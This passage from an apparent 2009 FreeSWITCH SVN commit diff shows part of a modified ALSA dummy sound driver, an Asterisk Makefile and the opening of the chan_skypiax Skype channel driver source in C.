+	//giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
+			      //giova sizeof(struct snd_dummy), &card);
+	//giova if (err < 0)
+		//giova return err;
+	dummy = card->private_data;
+	dummy->card = card;
+	for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
+		if (pcm_substreams[dev] < 1)
+			pcm_substreams[dev] = 1;
+		if (pcm_substreams[dev] > MAX_PCM_SUBSTREAMS)
+			pcm_substreams[dev] = MAX_PCM_SUBSTREAMS;
+		err = snd_card_dummy_pcm(dummy, idx, pcm_substreams[dev]);
+		if (err < 0)
+			goto __nodev;
+	}
+	err = snd_card_dummy_new_mixer(dummy);
+	if (err < 0)
+		goto __nodev;
+	strcpy(card->driver, "Dummy");
+	strcpy(card->shortname, "Dummy");
+	sprintf(card->longname, "Dummy %i", dev + 1);
+
+	snd_card_set_dev(card, &devptr->dev);
+
+	err = snd_card_register(card);
+	if (err == 0) {
+		platform_set_drvdata(devptr, card);
+		return 0;
+	}
+      __nodev:
+	snd_card_free(card);
+	return err;
+}
+
+static int __devexit snd_dummy_remove(struct platform_device *devptr)
+{
+
+	del_timer(&giovatimer);
+	snd_card_free(platform_get_drvdata(devptr));
+	platform_set_drvdata(devptr, NULL);
+	return 0;
+}
+
+#ifdef CONFIG_PM
+static int snd_dummy_suspend(struct platform_device *pdev, pm_message_t state)
+{
+	struct snd_card *card = platform_get_drvdata(pdev);
+	struct snd_dummy *dummy = card->private_data;
+
+	snd_power_change_state(card, SNDRV_CTL_POWER_D3hot);
+	snd_pcm_suspend_all(dummy->pcm);
+	return 0;
+}
+	
+static int snd_dummy_resume(struct platform_device *pdev)
+{
+	struct snd_card *card = platform_get_drvdata(pdev);
+
+	snd_power_change_state(card, SNDRV_CTL_POWER_D0);
+	return 0;
+}
+#endif
+
+#define SND_DUMMY_DRIVER	"snd_dummy"
+
+static struct platform_driver snd_dummy_driver = {
+	.probe		= snd_dummy_probe,
+	.remove		= __devexit_p(snd_dummy_remove),
+#ifdef CONFIG_PM
+	.suspend	= snd_dummy_suspend,
+	.resume		= snd_dummy_resume,
+#endif
+	.driver		= {
+		.name	= SND_DUMMY_DRIVER
+	},
+};
+
+static void snd_dummy_unregister_all(void)
+{
+	int i;
+
+	for (i = 0; i < ARRAY_SIZE(devices); ++i)
+		platform_device_unregister(devices[i]);
+	platform_driver_unregister(&snd_dummy_driver);
+}
+
+static int __init alsa_card_dummy_init(void)
+{
+	int i, cards, err;
+
+	err = platform_driver_register(&snd_dummy_driver);
+	if (err < 0)
+		return err;
+
+if(!giovastarted){
+giovastarted=1;
+	spin_lock_init(&giovalock);
+
+	spin_lock_bh(&giovalock);
+for(i=0; i<MAX_PCM_SUBSTREAMS;i++){
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+	}
+giovadpcms[i].substream=NULL;
+giovadpcms[i].dpcm=NULL;
+giovadpcms[i].started=0;
+}
+	init_timer(&giovatimer);
+	//giovatimer.data = (unsigned long) dpcm;
+	giovatimer.data = (unsigned long) &giovadpcms;
+	giovatimer.function = snd_card_dummy_pcm_timer_function;
+	giovatimer.expires = (HZ/100) + jiffies;
+	add_timer(&giovatimer);
+printk("giova skypiax: %d\n", __LINE__);
+	spin_unlock_bh(&giovalock);
+}
+
+
+	cards = 0;
+	for (i = 0; i < SNDRV_CARDS; i++) {
+		struct platform_device *device;
+		if (! enable[i])
+			continue;
+		device = platform_device_register_simple(SND_DUMMY_DRIVER,
+							 i, NULL, 0);
+		if (IS_ERR(device))
+			continue;
+		if (!platform_get_drvdata(device)) {
+			platform_device_unregister(device);
+			continue;
+		}
+		devices[i] = device;
+		cards++;
+	}
+	if (!cards) {
+#ifdef MODULE
+		printk(KERN_ERR "Dummy soundcard not found or device busy\n");
+#endif
+		snd_dummy_unregister_all();
+		return -ENODEV;
+	}
+	return 0;
+}
+
+static void __exit alsa_card_dummy_exit(void)
+{
+	del_timer(&giovatimer);
+	snd_dummy_unregister_all();
+}
+
+module_init(alsa_card_dummy_init)
+module_exit(alsa_card_dummy_exit)

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/Makefile

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/Makefile (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,93 @@
+#
+# Asterisk -- A telephony toolkit for Linux.
+# 
+# Makefile for channel drivers
+#
+# Copyright (C) 1999-2005, Mark Spencer
+#
+# Mark Spencer <markster@digium.com>
+#
+# Edited By Belgarath <> Aug 28 2004
+# Added bare bones ultrasparc-linux support.
+#
+# This program is free software, distributed under the terms of
+# the GNU General Public License
+#
+
+#ASTERISK INCLUDE FILES
+#The directory that contains the Asterisk include files (eg: /usr/include or /usr/include/asterisk or /usr/src/asterisk/include or ...)
+#AST_INCLUDE_DIR=/usr/src/asterisk/include
+#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_trunk/include
+#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_160/include
+#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_12/include
+#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_14/include
+#AST_INCLUDE_DIR=/home/maruzz/devel/svn_celliax_trunk/asterisk-1.2.rev137401/include
+AST_INCLUDE_DIR=/home/user/devel/asterisk-1.4.23.1/include
+
+#ASTERISK
+CFLAGS+=-DASTERISK
+
+#ASTERISK VERSION
+#Uncomment one of the following lines to match your Asterisk series
+CFLAGS+=-DASTERISK_VERSION_1_4
+#CFLAGS+=-DASTERISK_VERSION_1_6
+#CFLAGS+=-DASTERISK_VERSION_1_2
+
+#LINUX SKYPE SUPPORT (Celliax for Cygwin always supports Skype)
+SKYPE_LIB=-L/usr/X11R6/lib -lX11
+
+CFLAGS+=-pipe -Wall -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations
+CFLAGS+=-g3
+
+
+
+CFLAGS+=-I$(AST_INCLUDE_DIR) -I.
+CFLAGS+=-D_REENTRANT -D_GNU_SOURCE
+#CFLAGS+=-O6
+CFLAGS+=-march=i686
+CFLAGS+=-fomit-frame-pointer
+ifeq ($(shell uname -m),x86_64)
+CFLAGS+=-fPIC
+endif
+
+SVNDEF := -D'SKYPIAX_SVN_VERSION="$(shell svnversion -n ..)"'
+CFLAGS += $(SVNDEF)
+
+
+SOLINK=-shared -Xlinker -x 
+CHANNEL_LIBS=chan_skypiax.so
+CC=gcc
+
+OSARCH=$(shell uname -s)
+
+ifeq ($(findstring CYGWIN,$(OSARCH)),CYGWIN)
+# definition of pthread_kill as a printf (or as a noop) is required for Asterisk (and skypiax) to run on Cygwin
+# without it, each time (often) pthread_kill is called (by any thread, with any signal, URG included), bad things happen 
+CC=gcc -D pthread_kill=cyg_no_pthreadkill
+AST_DLL_DIR=/home/maruzz/devel/svn_asterisk_branches_12
+CYGSOLINK=-Wl,--out-implib=lib$@.a -Wl,--export-all-symbols cyg_no_pthread_kill.o
+CYGSOLIB=-L/usr/lib/w32api -lrpcrt4 -L/lib/mingw -lwinmm -L$(AST_DLL_DIR) -lasterisk.dll -L$(AST_DLL_DIR)/res -lres_features.so 
+SKYPE_LIB=
+CHANNEL_LIBS=cyg_no_pthread_kill.o chan_skypiax.so
+endif
+
+all: $(CHANNEL_LIBS) 
+
+clean:
+	rm -f *.so *.o *.so.a
+
+
+#chan_skypiax section begins
+
+#to debug threads and lock on 1.4 uncomment the following
+#CFLAGS+=-include /usr/src/asterisk/include/asterisk/autoconfig.h  
+
+
+cyg_no_pthread_kill.o: cyg_no_pthread_kill.c
+	$(CC) $(CFLAGS) -c -o cyg_no_pthread_kill.o cyg_no_pthread_kill.c
+chan_skypiax.o: chan_skypiax.c
+	$(CC) $(CFLAGS) -c -o chan_skypiax.o chan_skypiax.c
+chan_skypiax.so: chan_skypiax.o skypiax_protocol.o
+	$(CC) $(SOLINK) -o $@ ${CYGSOLINK} chan_skypiax.o skypiax_protocol.o -lm -ldl $(SKYPE_LIB) ${CYGSOLIB}
+#chan_skypiax section ends
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2385 @@
+//indent -gnu -ts4 -br -brs -cdw -lp -ce -nbfda -npcs -nprs -npsl -nbbo -saf -sai -saw -cs -bbo -nhnl -nut -sob -l90 
+#include "skypiax.h"
+
+/* LOCKS */
+/*! \brief Protect the skypiax_usecnt */
+AST_MUTEX_DEFINE_STATIC(skypiax_usecnt_lock);
+/*! \brief Protect the monitoring thread, so only one process can kill or start it, and not
+ *    when it's doing something critical. */
+AST_MUTEX_DEFINE_STATIC(skypiax_monlock);
+/*! \brief Protect the interfaces list */
+AST_MUTEX_DEFINE_STATIC(skypiax_iflock);
+
+/* GLOBAL VARIABLES */
+int running = 1;
+int skypiax_dir_entry_extension = 1;    //FIXME one var for each interface!
+char skypiax_console_active_array[50] = "";
+char *skypiax_console_active = skypiax_console_active_array;
+/*! \brief Count of active channels for this module */
+int skypiax_usecnt = 0;
+int skypiax_debug = 0;
+/*! \brief This is the thread for the monitor which checks for input on the channels
+ *    which are not currently in use.  */
+pthread_t skypiax_monitor_thread = AST_PTHREADT_NULL;
+pthread_t skypiax_monitor_audio_thread = AST_PTHREADT_NULL;
+
+/* CONSTANTS */
+/*! \brief Textual description for this module */
+const char skypiax_desc[] = "Skypiax, Skype Driver";
+/*! \brief Textual type for this module */
+const char skypiax_type[] = "Skypiax";
+/*! \brief Name of configuration file for this module */
+const char skypiax_config[] = "skypiax.conf";
+
+char skypiax_console_skypiax_usage[] =
+  "       \n" "chan_skypiax commands info\n" "       \n"
+  "       chan_skypiax adds to Asterisk the following CLI commands:\n" "       \n"
+  "       CLI COMMANDS:\n" "          skypiax_hangup\n" "          skypiax_dial\n"
+  "          skypiax_console\n" "          skypiax_playback_boost\n"
+  "          skypiax_capture_boost\n" "          skypiax_skype\n"
+  "          skypiax_dir_import\n" "\n"
+  "       You can type 'help [command]' to obtain more specific info on usage.\n"
+  "       \n";
+char skypiax_console_hangup_usage[] =
+  "Usage: skypiax_hangup\n"
+  "       Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+char skypiax_console_playback_boost_usage[] =
+  "Usage: skypiax_playback_boost [value]\n"
+  "       Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \"current\" skypiax_console (Skypiax) channel.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+char skypiax_console_capture_boost_usage[] =
+  "Usage: skypiax_capture_boost [value]\n"
+  "       Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \"current\" skypiax_console (Skypiax) channel.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+
+char skypiax_console_dial_usage[] =
+  "Usage: skypiax_dial [DTMFs]\n"
+  "       Dials a given DTMF string in the call currently placed on the\n"
+  "       \"current\" skypiax_console (Skypiax) channel.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+
+char skypiax_console_skypiax_console_usage[] =
+  "Usage: skypiax_console [interface] | [show]\n"
+  "       If used without a parameter, displays which interface is the \"current\"\n"
+  "       skypiax_console.  If a device is specified, the \"current\" skypiax_console is changed to\n"
+  "       the interface specified.\n"
+  "       If the parameter is \"show\", the available interfaces are listed\n";
+
+char skypiax_console_skype_usage[] =
+  "Usage: skypiax_skype [command string]\n"
+  "       Send the 'command string' skype_msg to the Skype client connected to the  \"current\" skypiax_console (Skypiax) channel.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+
+char skypiax_console_skypiax_dir_import_usage[] =
+  "Usage: skypiax_dir_import [add | replace]\n"
+  "       Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
+  "       You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
+  "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+
+/*! \brief Definition of this channel for PBX channel registration */
+const struct ast_channel_tech skypiax_tech = {
+  .type = skypiax_type,
+  .description = skypiax_desc,
+  .capabilities = AST_FORMAT_SLINEAR,
+  .requester = skypiax_request,
+  .hangup = skypiax_hangup,
+  .answer = skypiax_answer,
+  .read = skypiax_read,
+  .call = skypiax_originate_call,
+  .write = skypiax_write,
+  .indicate = skypiax_indicate,
+  .fixup = skypiax_fixup,
+  .devicestate = skypiax_devicestate,
+#ifdef ASTERISK_VERSION_1_4
+  .send_digit_begin = skypiax_digitsend_begin,
+  .send_digit_end = skypiax_digitsend_end,
+#else /* ASTERISK_VERSION_1_4 */
+  .send_digit = skypiax_digitsend,
+#endif /* ASTERISK_VERSION_1_4 */
+};
+
+/*! \brief fake skypiax_pvt structure values, 
+ * just for logging purposes */
+struct skypiax_pvt skypiax_log_struct = {
+  .name = "none",
+};
+
+/*! \brief Default skypiax_pvt structure values, 
+ * used by skypiax_mkif to initialize the interfaces */
+struct skypiax_pvt skypiax_default = {
+  .interface_state = SKYPIAX_STATE_DOWN,
+  .skype_callflow = 0,
+  .context = "default",
+  .language = "en",
+  .exten = "s",
+  .next = NULL,
+  .owner = NULL,
+  .controldev_thread = AST_PTHREADT_NULL,
+  .skypiax_sound_rate = 8000,
+  .skypiax_sound_capt_fd = -1,
+  .capture_boost = 0,
+  .playback_boost = 0,
+  .stripmsd = 0,
+  .skype = 0,
+  .skypiax_dir_entry_extension_prefix = 6,
+};
+
+/*! 
+ * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
+ */
+struct skypiax_pvt *skypiax_iflist = NULL;
+
+#ifdef ASTERISK_VERSION_1_6
+struct ast_cli_entry myclis[] = {
+/* 
+ * CLI do not works since some time on 1.6, they changed the CLI mechanism
+ */
+#if 0
+  AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
+  AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
+  AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
+  AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
+  AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
+  AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
+  AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
+  AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
+#endif
+};
+#else
+struct ast_cli_entry myclis[] = {
+  {{"skypiax_hangup", NULL}, skypiax_console_hangup,
+   "Hangup a call on the skypiax_console",
+   skypiax_console_hangup_usage},
+  {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
+   skypiax_console_playback_boost_usage},
+  {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
+   skypiax_console_capture_boost_usage},
+  {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
+   skypiax_console_skypiax_usage},
+  {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
+   skypiax_console_skype_usage},
+  {{"skypiax_dial", NULL}, skypiax_console_dial,
+   "Dial an extension on the skypiax_console",
+   skypiax_console_dial_usage},
+  {{"skypiax_console", NULL}, skypiax_console_set_active,
+   "Sets/displays active skypiax_console",
+   skypiax_console_skypiax_console_usage},
+  {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
+   "Write the directoriax.conf file, used by directoriax app",
+   skypiax_console_skypiax_dir_import_usage},
+};
+#endif
+
+/* IMPLEMENTATION */
+
+void skypiax_unlocka_log(void *x)
+{
+  ast_mutex_t *y;
+  y = x;
+  int i;
+
+  for (i = 0; i < 5; i++) {     //let's be generous
+
+    ast_log(LOG_DEBUG,
+            SKYPIAX_SVN_VERSION
+            "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n",
+            (unsigned long int) pthread_self(), y, i);
+
+    ast_mutex_unlock(y);
+  }
+  ast_log(LOG_DEBUG,
+          SKYPIAX_SVN_VERSION
+          "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n",
+          (unsigned long int) pthread_self(), y);
+}
+
+int skypiax_queue_control(struct ast_channel *c, int control)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+
+/* queue the frame */
+  if (p)
+    p->control_to_send = control;
+  else {
+    return 0;
+  }
+  DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
+
+/* wait for the frame to be sent */
+  while (p->control_to_send)
+    usleep(1);
+
+  return 0;
+}
+
+int skypiax_devicestate(void *data)
+{
+  struct skypiax_pvt *p = NULL;
+  char *name = data;
+  int res = AST_DEVICE_INVALID;
+
+  if (!data) {
+    ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
+    return res;
+  }
+
+  /* lock the interfaces' list */
+  LOKKA(&skypiax_iflock);
+  /* make a pointer to the first interface in the interfaces list */
+  p = skypiax_iflist;
+  /* Search for the requested interface and verify if is unowned */
+  while (p) {
+    size_t length = strlen(p->name);
+    /* is this the requested interface? */
+    if (strncmp(name, p->name, length) == 0) {
+      /* is this interface unowned? */
+      if (!p->owner) {
+        res = AST_DEVICE_NOT_INUSE;
+        DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+      } else {
+        /* interface owned by a channel */
+        res = AST_DEVICE_INUSE;
+        DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+      }
+
+      /* we found the requested interface, bail out from the while loop */
+      break;
+    }
+    /* not yet found, next please */
+    p = p->next;
+  }
+  /* unlock the interfaces' list */
+  UNLOCKA(&skypiax_iflock);
+
+  if (res == AST_DEVICE_INVALID) {
+    ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n",
+           SKYPIAX_P_LOG, name);
+  }
+  return res;
+}
+
+#ifndef ASTERISK_VERSION_1_4
+int skypiax_indicate(struct ast_channel *c, int cond)
+#else
+int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen)
+#endif
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  int res = 0;
+
+  NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
+
+  switch (cond) {
+  case AST_CONTROL_BUSY:
+  case AST_CONTROL_CONGESTION:
+  case AST_CONTROL_RINGING:
+  case -1:
+    res = -1;                   /* Ask for inband indications */
+    break;
+  case AST_CONTROL_PROGRESS:
+  case AST_CONTROL_PROCEEDING:
+  case AST_CONTROL_VIDUPDATE:
+  case AST_CONTROL_HOLD:
+  case AST_CONTROL_UNHOLD:
+#ifdef ASTERISK_VERSION_1_4
+  case AST_CONTROL_SRCUPDATE:
+#endif /* ASTERISK_VERSION_1_4 */
+    break;
+  default:
+    WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond,
+             c->name);
+    /* The core will play inband indications for us if appropriate */
+    res = -1;
+  }
+
+  return res;
+}
+
+/*! \brief PBX interface function -build skypiax pvt structure 
+ *         skypiax calls initiated by the PBX arrive here */
+struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause)
+{
+  struct skypiax_pvt *p = NULL;
+  struct ast_channel *tmp = NULL;
+  char *name = data;
+  int found = 0;
+
+  DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n",
+             SKYPIAX_P_LOG, type, name, *cause, format);
+
+  if (!data) {
+    ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
+    return NULL;
+  }
+
+  char interface[256];
+  int i;
+  memset(interface, '\0', sizeof(interface));
+
+  for (i = 0; i < sizeof(interface); i++) {
+    if (name[i] == '/')
+      break;
+    interface[i] = name[i];
+  }
+  /* lock the interfaces' list */
+  LOKKA(&skypiax_iflock);
+  /* make a pointer to the first interface in the interfaces list */
+  p = skypiax_iflist;
+
+  if (strcmp("ANY", interface) == 0) {
+    /* we've been asked for the "ANY" interface, let's find the first idle interface */
+    DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
+    p = find_available_skypiax_interface();
+    if (p) {
+      found = 1;
+
+      /* create a new channel owning this interface */
+      tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+      if (!tmp) {
+        /* the channel was not created, probable memory allocation error */
+        *cause = AST_CAUSE_SWITCH_CONGESTION;
+      }
+
+    }
+
+  }
+
+  /* Search for the requested interface and verify if is unowned and format compatible */
+  while (p && !found) {
+    //size_t length = strlen(p->name);
+    /* is this the requested interface? */
+    if (strcmp(interface, p->name) == 0) {
+      /* is the requested format supported by this interface? */
+      if ((format & AST_FORMAT_SLINEAR) != 0) {
+        /* is this interface unowned? */
+        if (!p->owner) {
+          DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name,
+                     format);
+          /* create a new channel owning this interface */
+          tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+          if (!tmp) {
+            /* the channel was not created, probable memory allocation error */
+            *cause = AST_CAUSE_SWITCH_CONGESTION;
+          }
+        } else {
+          /* interface owned by another channel */
+          WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
+          *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
+        }
+      } else {
+        /* requested format not supported */
+        WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
+        *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
+      }
+      /* we found the requested interface, bail out from the while loop */
+      break;
+    }
+    /* not yet found, next please */
+    p = p->next;
+  }
+  /* unlock the interfaces' list */
+  UNLOCKA(&skypiax_iflock);
+  /* restart the monitor so it will watch only the remaining unowned interfaces  */
+  skypiax_restart_monitor();
+  if (tmp == NULL) {
+    /* new channel was not created */
+    WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
+  }
+  /* return the newly created channel */
+  return tmp;
+}
+
+/*! \brief  Hangup skypiax call
+ * Part of PBX interface, called from ast_hangup */
+
+int skypiax_hangup(struct ast_channel *c)
+{
+  struct skypiax_pvt *p;
+
+  /* get our skypiax pvt interface from channel */
+  p = c->tech_pvt;
+  /* if there is not skypiax pvt why we are here ? */
+  if (!p) {
+    ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
+    return 0;
+  }
+
+  if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
+    char msg_to_skype[1024];
+    p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
+    DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
+    //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
+    sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
+    skypiax_signaling_write(p, msg_to_skype);
+  }
+
+  while (p->interface_state != SKYPIAX_STATE_DOWN) {
+    usleep(10000);
+  }
+  DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
+  /* shutdown the serial monitoring thread */
+  if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
+      && (p->controldev_thread != AST_PTHREADT_STOP)) {
+    if (pthread_cancel(p->controldev_thread)) {
+      ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n",
+             SKYPIAX_P_LOG);
+    }
+    /* push it, maybe is stuck in a select or so */
+    if (pthread_kill(p->controldev_thread, SIGURG)) {
+      DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
+    }
+#ifndef __CYGWIN__              /* under cygwin, this seems to be not reliable, get stuck at times */
+    /* wait for it to die */
+    if (pthread_join(p->controldev_thread, NULL)) {
+      ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+    }
+#else /* __CYGWIN__ */
+/* allow the serial thread to die */
+    usleep(300000);             //300msecs
+#endif /* __CYGWIN__ */
+  }
+  p->controldev_thread = AST_PTHREADT_NULL;
+
+  p->interface_state = SKYPIAX_STATE_DOWN;
+  p->skype_callflow = CALLFLOW_CALL_IDLE;
+
+  DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
+  ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+  DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
+
+  /* subtract one to the usage count of Skypiax-type channels */
+  LOKKA(&skypiax_usecnt_lock);
+  skypiax_usecnt--;
+  if (skypiax_usecnt < 0)
+    ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
+  UNLOCKA(&skypiax_usecnt_lock);
+  ast_update_use_count();
+
+  /* our skypiax pvt interface is no more part of a channel */
+  p->owner = NULL;
+  /* our channel has no more this skypiax pvt interface to manage */
+  c->tech_pvt = NULL;
+  /* set the channel state to DOWN, eg. available, not in active use */
+  if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
+    ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+    return -1;
+  }
+
+  /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
+  if (skypiax_restart_monitor()) {
+    ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+    return -1;
+  }
+
+  return 0;
+}
+
+/*! \brief  Answer incoming call,
+ * Part of PBX interface */
+int skypiax_answer(struct ast_channel *c)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  int res;
+
+  /* whle ringing, we just wait, the skype thread will answer */
+  while (p->interface_state == SKYPIAX_STATE_RING) {
+    usleep(10000);              //10msec
+  }
+  if (p->interface_state != SKYPIAX_STATE_UP) {
+    ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n",
+           SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
+    res = -1;
+  } else {
+    DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
+    res = 0;
+  }
+  return res;
+}
+
+#ifdef ASTERISK_VERSION_1_4
+int skypiax_digitsend_begin(struct ast_channel *c, char digit)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+
+  DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
+
+  return 0;
+}
+
+int skypiax_digitsend_end(struct ast_channel *c, char digit, unsigned int duration)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  char msg_to_skype[1024];
+
+  NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
+
+  sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
+
+  skypiax_signaling_write(p, msg_to_skype);
+
+  return 0;
+}
+#else /* ASTERISK_VERSION_1_4 */
+int skypiax_digitsend(struct ast_channel *c, char digit)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  char msg_to_skype[1024];
+
+  NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
+
+  sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
+
+  skypiax_signaling_write(p, msg_to_skype);
+
+  return 0;
+}
+
+#endif /* ASTERISK_VERSION_1_4 */
+//struct ast_frame *skypiax_audio_read(struct skypiax_pvt *p)
+//#define SAMPLES_PER_FRAME 160
+/*! \brief Read audio frames from channel */
+struct ast_frame *skypiax_read(struct ast_channel *c)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  static struct ast_frame f;
+  static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
+  short *buf;
+  int samples;
+
+/* if there are control frames queued to be sent by skypiax_queue_control, send it the first */
+//TODO maybe better a real queue?
+  if (p && p->owner && p->control_to_send) {
+    ast_queue_control(p->owner, p->control_to_send);
+    DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
+    p->control_to_send = 0;
+  }
+
+  memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
+
+  buf = __buf + AST_FRIENDLY_OFFSET / 2;
+
+  f.frametype = AST_FRAME_NULL;
+  f.subclass = 0;
+  f.samples = 0;
+  f.datalen = 0;
+  f.data = NULL;
+  f.offset = 0;
+  f.src = skypiax_type;
+  f.mallocd = 0;
+  f.delivery.tv_sec = 0;
+  f.delivery.tv_usec = 0;
+
+/* if the call is not active (ie: answered), do not send audio frames, they would pile up in a lag queue */
